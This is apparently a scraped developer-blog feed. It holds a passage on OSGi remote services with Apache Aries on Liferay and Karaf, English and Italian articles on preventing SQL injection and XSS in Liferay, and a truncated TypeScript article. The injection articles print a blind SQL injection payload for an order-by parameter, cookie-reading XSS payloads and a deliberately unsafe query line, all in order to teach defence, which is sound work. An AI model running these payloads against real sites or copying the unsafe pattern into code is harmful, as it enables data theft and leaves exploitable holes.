
import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * @author Antonio Musarra
 */
@Component(
  property = {
    "service.exported.interfaces=*",
    "aries.rsa.port=8202"
  })
public class WhoIamServiceImpl implements WhoIamService {

  @Override
  public String whoiam() {
    Bundle bundle = _bc.getBundle();

    String hostAddress = "NA";

    try {
      hostAddress = InetAddress.getLocalHost().getHostAddress();
    }
    catch (UnknownHostException uhe) {
      _log.log(_log.LOG_ERROR, uhe.getMessage());
    }

    String response =
      "Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}";

    return String.format(
      response, bundle.getBundleId(), bundle.getHeaders().get(
        Constants.BUNDLE_NAME), bundle.getVersion(),
      _bc.getProperty(Constants.FRAMEWORK_UUID), hostAddress
    );
  }

  @Activate
  protected void activate(BundleContext bundleContext) {
    _bc = bundleContext;
  }

  private BundleContext _bc;

  @Reference
  private LogService _log;
}

Source Code 8 - Abilitazione del componente che implementa l'interfaccia Who I am per essere esportato come servizio remoto

Per noi sviluppatori la "fatica" è finita qui, non occorre fare nient'altro. Anche per il consumer non cambia nulla (vedi Source Code 4), basta inserire l'annotazione @Reference al membro dichiarato di tipo WhoIamService, come sempre fatto. Sarà poi cura del Topology Manager iniettare il riferimento corretto al servizio remoto, quello che vive all'interno dell'altro container OSGi.

Connettiamoci alla Gogo Shell di Liferay e vediamo cos'è cambiamo sotto rispetto al solito. Con l'installazione di Apache Aries (RSA) abbiamo a nostra disposizione il comando per poter interrogare il Remote Service Admin e capire quali endpoint sono stati creati. Il comando si chiama rsa:endpoints e l'output di questo eseguito sulla Gogo Shell di Liferay dovrebbe essere simile a quello mostrato a seguire.

Figura 13 - Output del comando rsa:endpoints

Quello mostrato in figura corrisponde a quanto mi sarei aspettato, ed effettivamente i conti tornano; forse qualcuno potrebbe obiettare. Ci sono tre endpoint. perché tre endpoint se i servizi che abbiamo esportato sono due? È vero che i servizi esportati sono due ma il servizio Who I am è installato su due differenti container OSGi. Le informazioni che il comando restituisce sono:

id: identificativo del servizio esportato espresso in formato URI. Protocollo, indirizzo ip del servizio e porta;
interface: è il nome completo dell'interfaccia che il servizio implementa;
framework: è l'identificato del framework OSGi all'interno del quale il servizio vive;
comp name: è il nome del componente che corrisponde alla classe Java che implementa l'interfaccia e di conseguenza il servizio.

Notate che l'identificativo del framework è diverso per ognuno degli endpoint, corretto, perché sono servizi che vivono in tre container OSGi diversi.

Cliccando su Console Sessione 2, potete vedere la sessione di terminale dove si evidenzia il processo di registrazione del nuovo endpoint che riguarda il servizio del Raspberry Pi. Il nuovo endpoint è infatti registrato subito dopo l'avvio dell'istanza di Apache Karaf installata sul Raspberry Pi.

Console Session 2 - Controllo Apache Aries (RSA) Enpoint

Quante volte avete utilizzato il comando bundle o b per fare l'inspection dei bundle? Immagino parecchie volte, soprattutto quando c'era da capire perché le cose non funzionavano. Proviamo ad eseguire il comando b sul bundle del consumer del servizio Who I am e vediamo cosa presenterà l'output.

Prima di eseguire il comando per l'inspection del bundle, utilizziamo il comando lb it.smc.techblog per ottenere la lista dei nostri bundle per poi ricavare l'id del bundle di cui siamo interessati di fare l'inspection.

Figura 14 - Output del comando lb it.smc.techblog

Una volta ottenuto l'id del bundle, eseguiamo il comando b 1180. L'output mostrato in figura mostra delle informazioni leggermente diverse rispetto al solito, ovvero, la sezione Services in use mostra il riferimento al servizio remoto, da cui possiamo vedere tutte le caratteristiche dell'endpoint remoto. Qui sono entrati in gioco il Topology Manager e il Remote Service Admin.

Figura 15 - Output comando b per l'inspection del bundle consumer del servizio Who I am

In questo caso il binding è stato fatto con il servizio remoto che vive sul container OSGi che ha l'indirizzo 172.29.0.4.

Cosa dovrei vedere interrogando il framework OSGi tramite comando services it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService? Quello che otteniamo è l'informazione che abbiamo la disponibilità di due servizi remoti che implementano la stessa interfaccia (in questo caso WhoIamService) ma che solo uno di questi è utilizzato dal bundle del consumer.

Figura 16 - Output del comando services it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService

Cosa succederebbe nel caso in cui stoppassi il servizio WhoIamService tcp://172.29.0.4:8202 attualmente referenziato dal consumer (bundle 1180)? Si verrebbe a creare un disservizio? Assolutamente no. Quello che in breve accade è questo:

stop del servizio sull'istanza karaf-instance-2_1;
rimozione dell'endpoint tcp://172.29.0.4:8202 da ZooKeeper;
il servizio di Discovery provvedere a notificare l'avvenuto cambiamento sull'endpoint rimosso;
il Topology Manager e il Remote Service Admin provvedono affinché il riferimento richiesto dal consumer del servizio WhoIamService venga associato al servizio remoto dell'istanza karaf-instance-1_1.

La figura a seguire mostra la verifica degli endpoint sull'istanza karaf-instance-2_1, l'esecuzione dello stop per il bundle Who I am Service (bundle 12) e la successiva verifica degli endpoint. Dopo lo stop del bundle è evidente come sia stato rimosso l'endpoint tcp://172.29.0.4:8202.

Figura 17 - Stop del bundle 12 Who I am Service e verifica degli endpoint

Sull'istanza Liferay, se andassimo a verificare gli endpoint, vedremo che correttamente è stato rimosso anche qui l'endpoint tcp://172.29.0.4:8202 e eseguendo nuovamente il comando services, vedremo che il riferimento richiesto dal consumer verso il servizio Who I am, è stato correttamente cambiato verso l'endpoint tcp://172.29.0.3:8202.

Le due figure a seguire mostrano gli avvenuti cambiamenti lato Liferay, l'ultima in particolare mostra l'output della chiamata al metodo whoiam() del servizio remoto, dov'è evidente che il servizio remoto che ha risposto è quello che fa riferimento all'endpoint tcp://172.29.0.3:8202, in questo caso l'istanza karaf-instance-1_1.

Figura 18 - Verifica endpoint e service binding dopo lo stop del servizio remoto

Figura 19 - Evidenza della chiama al servizio remoto fatta dal consumer e la risposta attesa dall'endpoint tcp://172.29.0.3:8202

Anche se facessimo ripartire il bundle stoppato in precedenza, il consumer rimarrebbe agganciato all'attuale endpoint. Concludiamo questo capitolo con la figura a seguire che mostra l'output della chiamata al servizio remoto Raspberry Pi Service, chiamata eseguita dall'istanza Liferay.

Figura 20 - Chiama al servizio remoto Raspberry Pi Service che restituisce una serie d'informazioni di sistema

7. I progetti sull'account GitHub di SMC

Penso che arrivare fino a qui sia stata una bella fatica, vi lascio però un bel regalo. Tutto quello che avete avuto modo di vedere nel corso di quest'articolo è disponibile in forma di repository git. Questo progetto è organizzato in diversi repository e in particolare:

docker-osgi-remote-services-example: È il repository che contiene tutto il progetto Docker Compose che vi consentirà di tirar su la soluzione rappresentata dal diagramma di Figura 4 (a meno dell'istanza Apache Karaf su Raspberry Pi);
aries-rsa-whoiam-examples: Progetto Maven che contiene i bundle per il servizio Who I am Service (vedi Tabella 2);
aries-rsa-raspberrypi-examples: Progetto Maven che contiene i bundle per il servizio Raspberry Pi Service (vedi Tabella 2).

I repositori dei due progetti OSGi contengono quelli che possiamo definire bonus, ovvero, due OSGi command per interagire con il servizio Who I am e con il servizio Raspberry Pi. Vi ricordo che gli OSGi command sono dei veri e propri comandi che possiamo richiamare dalla console dei container OSGi.

WhoIamConsumerCommand OSGi Command per interagire con il servizio Who I am.
RaspberryPiServiceConsumerCommand OSGi Command per interagire con il servizio Raspberry Pi. Uno dei comandi restituisce per esempio la temperatura della CPU.

Ogni repository ha al suo interno il README con le istruzioni basilari per l'uso.

8. Conclusioni

Per i temi che abbiamo trattato, questo articolo è una conseguenza dell'intervento che ho tenuto al Liferay Boot Camp Summer Edition 2020, dove in particolare ho discusso della piattaforma Liferay all'interno di contesti di Microservices.

Per quanto ho cercato di essere sintetico, con questo articolo ho voluto dimostrare come il framework OSGi con i suoi veri µServices sia in grado di favorire lo sviluppo di sistemi distribuiti leggeri, affidabili e puliti.

Mi rendo conto che sarebbe necessario più spazio, ma con quello che sono riuscito ad occupare spero di essere stato chiaro nell'esposizione e di aver suscitato la vostra curiosità sull'argomento.

Credo di poter affermare che in giro per la rete è difficile trovare articoli con questo livello di dettaglio e che hanno affrontato lo sviluppo di una soluzione pratica mettendo a vostra disposizione tutto il materiale.

Se siete arrivati fino a qui, immagino che abbiate anche accumulato una serie di domande che vi invito a lasciare in forma di commento all'articolo. Prossimamente saranno pubblicati altri articoli di approfondimento.

9. Risorse

A seguire lascio una serie di risorse che sono il punto di riferimento per i contenuti di quest'articolo.

Injection attacks - how to prevent with Liferay

Fri, 19 Jun 2020 00:00:00 GMT

An Injection attack is the submission of malicious code or commands that could be interpreted and executed by the remote application.

Injection is actually first on OWASP Top Ten list, and includes a wide range of different subtypes depending on whether the nature of command or language.

Taken together, injection attacks are a huge percentage of the serious application security risk. Many organizations have poorly thought through security controls in place to prevent injection attacks. — OWASP, about the injection attacks

In this article we will focus our attention on two particular types of injection:

SQL Injection (SQLi) – when the injection of SQL commands occours
Cross-Site Scripting (XSS) – when the injection of a browser-side script occours

then we will see how Liferay Portal solutions helps you to prevent injection attacks, keeping up the security level.

Liferay Portal Security

Liferay follows the OWASP Top 10 and CWE/SANS Top 25 lists to ensure the highest level of protection against several known attacks.

Here are some kind of attacks included in both OWASP Top Ten and CWE/SANS Top 25 and for which Liferay offers the highest level of protection against:

Liferay takes care about security, in both the community (CE) and the enterprise (DXP) editions, keeping always up-to-date the known vulnerabilities list, and also having their own security statement.

SQL Injection (SQLi)

SQL Injection is the injection of SQL commands (or queries) as untrusted user input data from client-side.

Depending on user privileges on target database, the attacker could:

insert, update or delete rows on existing tables
read sensitive data from tables (select)
drop tables
execute administration commands, such as perform the shutdown getting also a DoS attack

One of the benefits using Liferay is that the persistence layer generated by the Service Builder is built to prevent SQL Injection attacks (read more).

However, when the default solution provided by the Service Builder is not enough, Liferay helps you to maintain the highest level of protection against SQL Injection attacks even defining customized finders. Nevertheless, you should pay attention when implementing a custom Finder and follow the instructions provided by the official Liferay documentation.

In particular:

each custom query should have its own <custom-sql> element into custom-sql/default.xml and the sql command in a <![CDATA[...]]> section, without terminating semi-colon;
the query parameters should always set using QueryPos which performs escaping. Validation of untrusted data is mandatory as well as order-by column names from request parameters.

Strict validation of untrusted data coming from HTTP-request parameters is the key to prevent the SQL injection.

In the following example we will show why the order-by column names should never came directly from the request without prior validation, and how an injection attack on the order-by clause can significatively reduce the total attempts needed to guess a column value.

Suppose we have extended our model adding a new Vendor entity, introducing a vulnerability on the finder implementation:

sql = StringUtil.replace(sql, "[$ORDER_BY$]", " ORDER BY " + orderBy);  // unsafe

the safe version will make use of the BasePersistenceImpl.appendOrderByComparator():

StringBundler sb = new StringBundler();
if (orderByComparator != null) {
  appendOrderByComparator(sb, "Vendor.", orderByComparator);
}
sql = StringUtil.replace(sql, "[$ORDER_BY$]", sb.toString());

with such vulnerability, for instance, the attacker could try to use the SearchContainer's orderByCol parameter on the vendors search page, to inject the following sql command by the form submit action:

_portletName_INSTANCE_instanceId_orderByCol=

(CASE WHEN (
    SELECT substring(CONVERT(userId, CHAR),1,1)
    FROM user_
    WHERE emailAddress = 'test@liferay.com'
  ) = '2'
THEN name ELSE vendorId END)

In this way, the attacker can guess the i-th digit of the userId having test@liferay.com as e-mail address just verifying the results ordering in page. Each injection attempt will change the results order, whether the exact digit has guessed or not. Supposing userIds of five digits, the attacker can easily guess the userId in (5 * 9) - 1 = 44 attempts on the worst case, when a brute-force attack can require 9 * 10^4 attempts. The same attack could also be used to guess the screen-name or the encrypted password, but this will require more attempts.

Some useful tips to protect against SQL Injection attacks

Liferay ServiceBuilder helps you to keep up the security level, but pay attention providing custom Finder implementations: when using the OrderByComparator always perform a strict validation for column names in order-by clauses.
Keep in mind that vulnerability to SQL Injection is also an input validation problem: in order to prevent the injection attack, string concatenation should be avoided expecially on untrusted data from the request without prior validation.
Make use of query parameters, because the output escaping will neutralize the injection attack.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is also known as “Improper neutralization of input during web page generation” and is one of the most common attacks according to OWASP Top 10 and CWE/SANS Top 25.

According to the OWASP reclassification, XSS attacks can be classified in two main types:

Server XSS: when untrusted user input data is included on server response
Client XSS: when untrusted user input data is added to DOM or evaluated through unsafe JavaScript call

Another possibile classification of XSS attacks is about data persistency:

Stored (Persistent or Type-I): when untrusted user input data is stored on the target server persistent storage like database
Reflected (Non-Persistent or Type-II): when untrusted user input data is returned in server response without being permanently stored.

Types of XSS

Liferay Portal is built to prevent XSS attacks

When you are developing new portlet component, you should make use of the standard Liferay frontend taglib. The taglib elements (such as <aui: >, <liferay-ui: >, <clay: > ) are safe because they always perform output escaping where needed and in the right way, so they will neutralize almost any kind of XSS attack.

Liferay's HtmlUtil is the right way to safely perform output escaping.

Now let's show some examples of Server XSS attacks...

Reflected Server XSS Attack - example

💻 CLIENT: malicious code is submitted via the HTTP-request parameters or body

firstName=<script>alert('XSS!')</script>

🌍 SERVER: dynamically generated response includes untrusted data (because missing HTML-escaping):

<p> Hello, <%= firstName %> </p>

💻 CLIENT: the browser shows the response page executing the injected malicious code

<p>
  Hello,
  <script>
    alert("XSS!");
  </script>
</p>

Stored Server XSS Attack - example

💻 CLIENT: malicious code is submitted via the HTTP-request parameters or body

firstName=';alert(document.cookie);'

🌍 SERVER: the model entity is updated on persistence layer with untrusted data:

...
customer.setFirstName(firstName);
_customerService.updateCustomer(customer);

🌍 SERVER: dynamically generated response includes stored untrusted data, exposing the application to an XSS vulnerability because it misses the JS-escaping:

<aui:script>
 var firstName = '<%= c.getFirstName() %>';
...
</aui:script>

💻 CLIENT: the browser shows the response page executing the injected malicious code, which now is also stored, even after a page refresh.

<script>
 var firstName = '';alert(document.cookie);'';
...
<script>

XSS attacks could be neutralized performing output escaping:

every time you dynamically set an attribute value or content in a raw-HTML element from an untrusted source (HTTP-request parameters);
when using Java variables <%= ... %> on jsp inside <script> elements;
when defining customized taglibs.

Here are some examples of HtmlUtil usage:

<p> Hello, <%= HtmlUtil.escape(firstName) %> </p>

<div title="<%= HtmlUtil.escapeAttribute(title) %>">...</div>

<a href="<%= HtmlUtil.escapeHREF(detailsURL) %>">...</a>

<aui:script>
 var firstName = '<%= HtmlUtil.escapeJS(c.getFirstName())%>';
...
</aui:script>

Some useful tips to protect against XSS attacks

untrusted data should always be validated and sanitized before stored or processed for the output response. Enums or constants could be used for values mapping when the input parameters are strings;
use Liferay frontend taglibs, and HtmlUtil to perform output escaping. Escaping the output values in dynamic response page will neutralize injected code as well as <script> elements or JavaScript snippets, preventing the execution by the web-browser;
be aware of custom JavaScript code which directly modifies DOM nodes. Unsafe JavaScript code could reveal in a vulnerability to Client XSS Attacks.

Conclusion

Injection is one of the most common attack on web applications. Defense strategies against Injection attacks are:

prevention by validation of untrusted data before it could be stored or processed for the output response;
neutralization by output escaping or sanitization.

Liferay ensures the highest security level in both the community (CE) and the enterprise (DXP) editions, and supports the developer to keep the security level high even when providing new solutions.

Injection - come prevenire con Liferay

Fri, 19 Jun 2020 00:00:00 GMT

Un attacco di tipo Injection consiste nell'invio di codice o comandi malevoli che possono essere poi interpretati ed eseguiti dall'applicazione.

L'attacco di tipo Injection è attualmente primo nella classifica OWASP Top Ten, ed è composto da diverse categorie a seconda del linguaggio o del tipo di comando.

Taken together, injection attacks are a huge percentage of the serious application security risk. Many organizations have poorly thought through security controls in place to prevent injection attacks. — OWASP, about the injection attacks

In questo articolo focalizzeremo la nostra attenzione su due particolari tipologie di Injection:

SQL Injection (SQLi) – quando avviene una injection di query o comandi SQL
Cross-Site Scripting (XSS) – quando avviene una injection di script interpretabili dal browser

mostrando come le soluzioni offerte dal Portale Liferay possono aiutarti nel prevenire gli attacchi di tipo injection, tenendo alto il livello di sicurezza.

Liferay Portal Security

Liferay segue le OWASP Top 10 e le CWE/SANS Top 25 per garantire il più alto livello di protezione possibile contro diversi tipi di attacchi.

Di seguito alcune tipologie di attacchi inclusi in entrambe le OWASP Top Ten e le CWE/SANS Top 25 e contro i quali Liferay ti garantisce il più alto livello di protezione possibile:

Liferay si prende cura della sicurezza del portale, sia nelle edizioni community (CE) che nelle edizioni enterprise (DXP), mantenendo sempre aggiornati gli elenchi delle vulnerabilità note, ed il proprio security statement.

SQL Injection (SQLi)

SQL Injection consiste nell'invio di comandi (o query) SQL sfruttando la mancata validazione degli input dell'utente lato client.

A seconda dei privilegi dell'utente sul database preso di mira, l'attaccante potrebbe effettuare:

insert, update o delete di righe su tabelle già esistenti
ottenere dati sensibili dalle tabelle (comando select)
drop delle tabelle
eseguire comandi di amministrazione, come ad esempio lo shutdown del database ottenendo così un attacco di tipo DoS

Uno dei benefici nell'utilizzo di Liferay è nel fatto che il livello di persistenza generato dal Service Builder è ideato in modo tale da prevenire attacchi di tipo SQL Injection (maggiori dettagli).

Quando la soluzione offerta dal Service Builder non dovesse essere sufficiente, Liferay ti aiuta a mantenere alto il livello di sicurezza contro gli attacchi di tipo SQL Injection anche nella definizione dei Custom Finder. Tuttavia, occorre prestare attenzione nell'implementazione dei custom Finder e seguire le istruzioni fornite dalla documentazione ufficiale di Liferay.

In particolare:

ogni query personalizzata deve essere contenuta nell'element <custom-sql> all'interno di custom-sql/default.xml e la query sql deve essere inclusa in un <![CDATA[...]]>, e non deve mai terminare con il punto-e-virgola;
i parametri delle query devono essere aggiunti utilizzando QueryPos che effettua sempre output escaping. La validazione dei parametri da sorgenti non affidabili è obbligatoria così come per i nomi delle colonne della clausola order-by provenienti dalla request.

La validazione dei dati provienienti dai parametri della request HTTP è la chiave per prevenire gli attacchi di tipo SQL injection.

Nell'esempio seguente mostreremo per quale motivo i nomi delle colonne nelle clausole order-by non devono mai provenire direttamente dalla request senza essere prima validati, e come un attacco di tipo injection nelle clausole order-by può ridurre in modo significativo il numero totale dei tentativi necessari a scoprire il valore di una determinata colonna.

Supponiamo di aver esteso il model aggiungendo una nuova entità Vendor, introducendo una vulnerabilità nell'implementazione del finder:

sql = StringUtil.replace(sql, "[$ORDER_BY$]",	" ORDER BY " + orderBy);  // unsafe

la versione sicura prevede l'utilizzo di BasePersistenceImpl.appendOrderByComparator():

StringBundler sb = new StringBundler();
if (orderByComparator != null) {
  appendOrderByComparator(sb, "Vendor.", orderByComparator);
}
sql = StringUtil.replace(sql,
	"[$ORDER_BY$]", sb.toString());

con questa vulnerabilità, ad esempio, l'attaccante potrebbe sfruttare il parametro orderByCol del SearchContainer sulla pagina di ricerca dei vendors, per iniettare il seguente comando sql tramite la submit della form:

_portletName_INSTANCE_instanceId_orderByCol=

(CASE WHEN (
    SELECT substring(CONVERT(userId, CHAR),1,1)
    FROM user_
    WHERE emailAddress = 'test@liferay.com'
  ) = '2'
THEN name ELSE vendorId END)

In questo modo, l'attaccante può scoprire l'i-esima cifra dello userId avente test@liferay.com come indirizzo e-mail, semplicemente verificando il tipo di ordinamento nella pagina dei risultati. Ogni tentativo di injection modificherà l'ordine dei risultati, a seconda se l'attaccante ha indovinato o meno la cifra corrispondente. Supponendo di avere degli userId composti da 5 cifre decimali, l'attaccante può riuscire facilmente ad indovinare lo userId in (5 * 9) - 1 = 44 tentativi nel caso peggiore, mentre un attacco a forza bruta potrebbe richiedere 9 * 10^4 tentativi. Lo stesso tipo di attacco può anche essere utilizzato per indovinare lo screen-name o la password dell'utente, anche se richiederebbe un numero assai maggiore di tentativi.

Consigli utili per proteggerti dagli attacchi di tipo SQL Injection

Il ServiceBuilder di Liferay ti aiuta a tenere alto il livello di sicurezza, ma occorre prestare attenzione nell'implementazione dei Custom Finder: utilizzare sempre OrderByComparator ed effettuare la validazione dei nomi delle colonne nella clausole order-by.
Tieni a mente che la vulnerabilità agli attacchi di tipo SQL Injection è principamente un problema di validazione dell'input: al fine di prevenire questi attacchi evitare la concatezione di stringhe, specialmente se provenienti da sorgenti non affidabili come la HTTP request, senza alcun tipo di validazione preventiva.
Utilizzare i parametri delle query il più possibile, in quanto l'output escaping neutralizza l'injection.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) è conosciuto anche come “Improper neutralization of input during web page generation” ed èuno degli attacchi più comuni in accordo alle OWASP Top 10 ed alle CWE/SANS Top 25.

Secondo una recente riclassificazione a cura di OWASP, gli attacchi XSS possono essere suddivisi in due principali categorie:

Server XSS: quando dati non affidabili in input dall'utente vengono restituiti nella risposta del server
Client XSS: quando dati non affidabili in input dall'utente vengono inclusi nel DOM o interpretati dal browser mediante funzioni JavaScript vulnerabili

Un'altra classificazione possibile degli attacchi XSS è relativa alla persistenza:

Stored (Persistent or Type-I): quando dati non affidabili in input dall'utente vengono resi persistenti nel sistema di archiviazione del server, come ad esempio il database
Reflected (Non-Persistent or Type-II): quando dati non affidabili in input dall'utente vengono restituiti nella risposta del server senza essere memorizzati in modo permanente

Tipologie di XSS

Liferay Portal è costruito per prevenire attacchi di tipo XSS

Quando sviluppi una nuova portlet dovresti sempre utilizzare le taglib di frontend Liferay. Gli elementi delle taglib (come ad esempio <aui: >, <liferay-ui: >, <clay: > ) sono sicuri in quanto effettuano sempre output escaping quando necessario nel modo corretto, quindi neutralizzeranno ogni tipologia di attacco XSS.

Utilizzare HtmlUtil di Liferay è la via più sicura per effettuare output escaping.

Ora mostriamo qualche esempio di attacco Server XSS...

Attacco Reflected Server XSS - esempio

💻 CLIENT: l'attaccante include il codice malevolo tramite i parametri o il body della request HTTP

firstName=<script>alert('XSS!')</script>

🌍 SERVER: la response generata dinamicamente può includere dei dati non affidabili (nella pagina jsp non si effettua output escaping HTML):

<p> Hello, <%= firstName %> </p>

💻 CLIENT: il browser mostra la pagina di risposta ottenuta dal server, eseguendo codice malevolo

<p>
  Hello,
  <script>
    alert("XSS!");
  </script>
</p>

Stored Server XSS Attack - example

💻 CLIENT: l'attaccante include il codice malevolo tramite i parametri o il body della request HTTP

firstName=';alert(document.cookie);'

🌍 SERVER: l'entità del model è aggiornata nello strato di persistenza senza alcuna validazione, e può contenere dei dati non affidabili:

...
customer.setFirstName(firstName);
_customerService.updateCustomer(customer);

🌍 SERVER: la response generata dinamicamente include dei dati non affidabili provenienti dallo strato di persistenza, espondendo l'applicazione ad una vulnerabilità XSS in quanto non viene effettuato output escaping JS:

<aui:script>
 var firstName = '<%= c.getFirstName() %>';
...
</aui:script>

💻 CLIENT: il browser mostra la pagina di risposta ottenuta dal server eseguendo il codice malevolo, che è anche salvato nello strato di persistenza, anche dopo aver effettuato il refresh della pagina.

<script>
 var firstName = '';alert(document.cookie);'';
...
<script>

Gli attacchi di tipo XSS possono essere neutralizzati effettuando output escaping:

ogni volta che, nella generazione dinamica delle pagine, imposti il valore di un attributo o un contenuto in un elemento HTML la cui provenienza non è verificata nè affidabile (esempio parametri della request HTTP);
quando nelle pagine jsp si utilizza l'output diretto del contenuto delle variabili Java <%= ... %> all'interno degli <script>;
quando si realizzano delle taglib personalizzate.

Ecco alcuni esempi di utilizzo corretto di HtmlUtil:

<p> Hello, <%= HtmlUtil.escape(firstName) %> </p>

<div title="<%= HtmlUtil.escapeAttribute(title) %>">...</div>

<a href="<%= HtmlUtil.escapeHREF(detailsURL) %>">...</a>

<aui:script>
 var firstName = '<%= HtmlUtil.escapeJS(c.getFirstName())%>';
...
</aui:script>

Consigli utili per proteggersi dagli attacchi di tipo XSS

i dati provenienti da fonti non affidabili devono essere validati e sanitizzati prima di essere persistiti o processati per la risposta in output. Enum o costanti possono essere utilizzati per effettuare eventuali mapping per valori di tipo stringa;
utilizzare le taglib di frontend Liferay, e HtmlUtil per l'output escaping. L'escaping dell'output in fase di generazione dinamica della risposta neutralizzerà l'injection così come l'eventuale presenza di <script> o codice JavaScript malevolo, evitando che possano essere eseguiti dal browser;
fare attenzione al codice JavaScript personalizzato che interviene direttamente sul DOM. Codice JavaScript non sicuro può rivelarsi vulnerabile agli attacchi di tipo Client XSS.

Conclusione

L'Injection è uno degli attacchi più diffusi nelle applicazioni web. Le strategie di difesa contro questa tipologia di attacchi consistono nella:

prevenzione mediante validazione dei dati provenienti da sorgenti non affidabili prima che questi possano essere persistiti o processati per la risposta in output;
neutralizzazione tramite escaping o sanitizzazione dell'output.

Liferay garantisce il più alto livello di sicurezza possibile sia nelle versioni community (CE) che nelle versioni enterprise (DXP), ed aiuta lo sviluppatore nel tenere alto il livello di sicurezza anche nello sviluppo di nuove componenti.

3 bugs that TypeScript could have prevented

Wed, 10 Jun 2020 00:00:00 GMT

Every JavaScript developer, both frontend and backend, will surely have experienced the problems of writing code without a type checker. How many times have you seen errors like this?

Uncaught TypeError: Cannot read property 'value' of undefined

This cryptic message is just telling us that the variable we are reading does not point to an object but to undefined. Finding the cause of these errors is fairly simple if the application is small enough, but it becomes exponentially more complicated as the codebase grows.

Fortunately, a tool has been invented to solve this kind of problems, TypeScript. TypeScript is a JavaScript superset that allows you to add type annotations to your code, providing also development tools that allow:

Type correctness checking, such as:
- Access to null values
- Missing fields on objects
- Not implemented edge cases
Real time type-based code Autocompletion:
- Strong integration with IDEs like Visual Studio Code
- Allows to have always updated and correct documentation, since it's based directly on the types in the code

In this article, however, we won't talk about the language specifically, since it already has an excellent documentation and many detailed guides. To show the real value of this tool we'd like instead to focus on our experience, and all the times TypeScript really helped us to solve certain problems.

🧨 1. Access to null values

A first example comes directly from our blog, during the development of the internationalization.

The first time a user visits the website their preferred language is saved in LocalStorage. When the user visits the root of the website again, they're redirected to the correct language path (/en for example), using a table that contains the path for every language.

This wrong implementation works fine, until someone removes a language from the website or corrupts the saved preference.

const languages = {
  it: { baseUrl: "/it" },
  en: { baseUrl: "/en" },
};
const defaultLanguageKey = "it";

export default function IndexPage() {
  // Saved preferred language from LocalStorage
  const preferredLanguageKey = window.localStorage.getItem("lang");

  const languageKey = preferredLanguageKey || defaultLanguageKey;
  const path = languages[languageKey].baseUrl;

  return <Redirect to={path} />;
}

Try it on Playground

Reading the language's baseUrl field, if languageKey is not present in languages we will read an undefined field. This causes a TypeError: languages[languageKey] is undefined exception, that will crash React and the entire application.

If we analyze the code with TypeScript, keeping it as-is without adding any type annotation, we will get che following error:

The error we get from the compiler

Typescript was able to spot the mistake without any additional type annotation, saving us from a probable crash (try it yourself on the Playground).

As we said in the beginning, this specific example comes from our blog, which was written in plain JavaScript. If we had used TypeScript from the beginning we would have noticed this bug earlier during development, not days after the blog went into production. TypeScript therefore proves itself very useful to avoid this whole class of errors, greatly reducing the time necessary for testing.

Being able to verify accesses to null fields makes TypeScript even more powerful and secure than other compilers, such as Java, where null dereference is referred as the "million dollar mistake".

⏱ 2. Typing numerical values: time units management

Another hard problem when developing software is time management. Dealing with durations, timestamps and timezones requires a lot of attention, since it can easily lead to off-by-one errors or wrong units.

In SMC, we built a web application to manage employees timetables. We receive an employee's information from a service, including their working hours, saved as minutes in JSON format.

const employee = {
  name: "John Doe", // string
  shiftHours: {
    monday: 60, // number
    tuesday: 120,
    wednesday: 240,
    thursday: 180,
    friday: 60,
    saturday: 120,
    sunday: 0,
  },
};

In this case, TypeScript interprets shiftHours values type as number. This may sound harmless, but it doesn't allow us to verify that they are represented as minutes, not as hours. Unless you remark it in the documentation, another developer could easily make a mistake and swap the unit of measure, interpreting that number as hours.

function HourDisplay({ hours }: { hours: number }) {
  return <>{hours} hours</>
}

function EmployeeDisplay({ employee }: { employee: Employee }) {
  return (
    <>
      <h2>Name: {employee.name}</h2>

      {Object.entries(employee.shiftHours).map(([day, time]) => (
        <p key={day}>
          {/* We are showing minutes as hours… whoops! */}
          {day}: <HourDisplay hours={time} />
        </p>
      ))}
    </>
  );
}

Using this React component that display the information for an employee we won't have errors or exceptions in runtime, and in fact TypeScript considers it as correct.

The problem with this implementation is that we are subsuming (a strange word worth learning!) everything as number. The number type is completely generic, and therefore the compiler does not enforce the correctness of the units of measurement. However, thanks to TypeScript, we can avoid this type of logical errors by using a pattern called Nominal Typing. This technique involves adding more strict annotations to basic types, such as numbers or strings, allowing to type check their content as well.

A first solution would be to use a type alias. We soon realize, however, that it does not work as we would expect:

type Hours = number;
type Minutes = number;

function HourDisplay({ hours }: { hours: Hours }) {
  return <>{hours} hours</>;
}

function App() {
  const test: Minutes = 60;
  // We don't get an error! 😕
  return <HourDisplay hours={test} />;
}

Try it on Playground

This way a developer who use the HourDisplay component won't even notice in the autocompletion that the expected type is in hours (Hours), since the aliases are removed for clarity.

Type aliases are not directly clear from IntelliSense

The code above compiles without errors, since TypeScript uses Structural Typing, not Nominal Typing. This means that checking whether two types are compatible is done with their content, not their name. This behavior may seem strange if a developer comes from languages like Java or C#, in fact it comes from functional languages like Haskell or OCaml.

To solve this problem and check the types in a nominal way there are many possible approaches, both runtime based and compile-time only. However, all these patterns have in common adding a tag field to an object that acts as discriminant.

The standard solution, used by TypeScript compiler developers themselves, is the following, based on a void tag present only at compile-time:

interface Hours {
  _hoursBrand: void,
  value: number;
}

interface Minutes {
  _minutesBrand: void;
  value: number;
}

function HourDisplay({ hours }: { hours: Hours }) {
  return <>{hours.value} hours</>
}

function App() {
  // Type assertion
  const test = { value: 60 } as Minutes;

  // Next line yields an error, as expected
  return <HourDisplay hours={test} />;
}

Try it on Playground

This pattern is very useful not only when managing time units, but also in many other cases. For example, we have used this technique on some projects to manage multiple identifiers types, adding nominal types to strings. This allowed us to save a lot of testing time given the complexity of the domain.

For more information about Nominal Typing, I recommend reading this article and this library.

3. 📌 Constant size arrays: XYZ coordinates

In SMC we love 3D graphics, especially on the Web. But when using many different libraries like Three.JS and react-three-fiber, not all of them handle the coordinates in the same way.

While some handles them as objects with x, y and z, in other libraries we find the coordinates represented as a three-element array [x, y, z]:

// With Objects (THREE.Vector3)
const p1 = { x: 2, y: 3, z: 4 };

// With Arrays
const p2 = [2, 3, 4];

When some functions expect coordinates as arrays and other as objects, it's very easy to make mistakes, producing errors in the console that are not immediately understood:

// We got our points
const p1 = new THREE.Vector2(25, 25);
const p2 = new THREE.Vector2(0, 15);

// This functions expects objects
const curve = new THREE.SplineCurve([p1, p2]);

// And this expects arrays
var myShape = new THREE.Shape();
myShape.moveTo(p1.x, p1.y);
